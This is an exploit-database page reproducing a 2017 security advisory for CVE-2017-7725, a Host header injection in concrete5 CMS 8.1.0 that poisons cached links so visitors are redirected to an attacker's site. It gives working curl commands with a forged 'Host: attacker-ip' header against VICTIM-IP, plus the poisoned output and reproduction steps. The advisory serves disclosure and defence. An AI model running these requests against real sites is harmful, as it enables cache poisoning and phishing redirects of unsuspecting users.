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"Concrete5 CMS 8.1.0 - 'Host' Header Injection"

Author

Exploit author

hyp3rlinx

Platform

Exploit platform

php

Release date

Exploit published date

2017-04-14

Download file

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[+] Credits: John Page a.k.a hyp3rlinx	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt
[+] ISR: ApparitionSec            
 


Vendor:
==================
www.concrete5.org



Product:
================
concrete5 v8.1.0

concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.


Vulnerability Type:
======================
Host Header Injection



CVE Reference:
==============
CVE-2017-7725



Security Issue:
================
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.  

Example MySQL data from "CollectionVersionBlocksOutputCache" table.

(164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489


e.g.

c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more


<!DOCTYPE html>
<html lang="en">
<head>
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <link rel="stylesheet" type="text/css" href="/concrete5-8.1.0/concrete/themes/elemental/css/bootstrap-modified.css">
    <link href="/concrete5-8.1.0/application/files/cache/css/elemental/main.css?ts=1492101910" rel="stylesheet" type="text/css" media="all">
<title>Services :: POC</title>

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.1.0"/>
<script type="text/javascript">
    var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php";
    var CCM_CID = 162;
    var CCM_EDIT_MODE = false;
    var CCM_ARRANGE_MODE = false;
    var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images";
    var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required";
    var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0";       <=================== HERE
    var CCM_REL = "/concrete5-8.1.0";
</script>



Exploit:
=========

curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"

Navigate to one of these URLs:

http://VICTIM-IP/concrete5-8.1.0/index.php/services
http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio

Click on links in header portion of the webpage from one of the above URLs.

Services
Portfolio
Team / Drop down Menu
Blog
Contact

OR 

click on the links on footer portion of the webpage.

FAQ / Help 
Case Studies
Blog
Another Link
View on Google Maps


Result: user gets redirected to attacker-ip.



Network Access:
===============
Remote



Severity:
=========
High



Disclosure Timeline:
======================================================
Vendor Notification :  April 11, 2017 
Vendor reply: "this is a known issue" : April 12, 2017 
Requested a CVE from mitre. 
CVE assigned : April 12, 2017
April 13, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
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import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected